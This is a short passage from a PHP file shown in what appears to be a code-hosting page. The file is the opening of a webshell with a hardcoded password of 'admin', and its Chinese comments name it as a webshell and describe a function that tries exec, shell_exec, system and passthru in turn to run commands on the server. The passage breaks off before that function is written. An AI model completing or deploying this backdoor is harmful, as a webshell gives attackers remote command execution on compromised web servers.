This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//error_reporting(0); //关闭错误提示 | |
$password='admin'; | |
date_default_timezone_set('UTC'); //设置默认时区 | |
ob_start(); //打开缓冲区 | |
define('myaddress', $_SERVER['SCRIPT_FILENAME']); //定义myaddress为webshell所在的完整路径 | |
define('postpass', $password); //定义postpass为password | |
//这个函数依次寻找exec, shell_exec,system, passthru | |
//若可以使用则传入要执行的语句(受php.ini的影响 |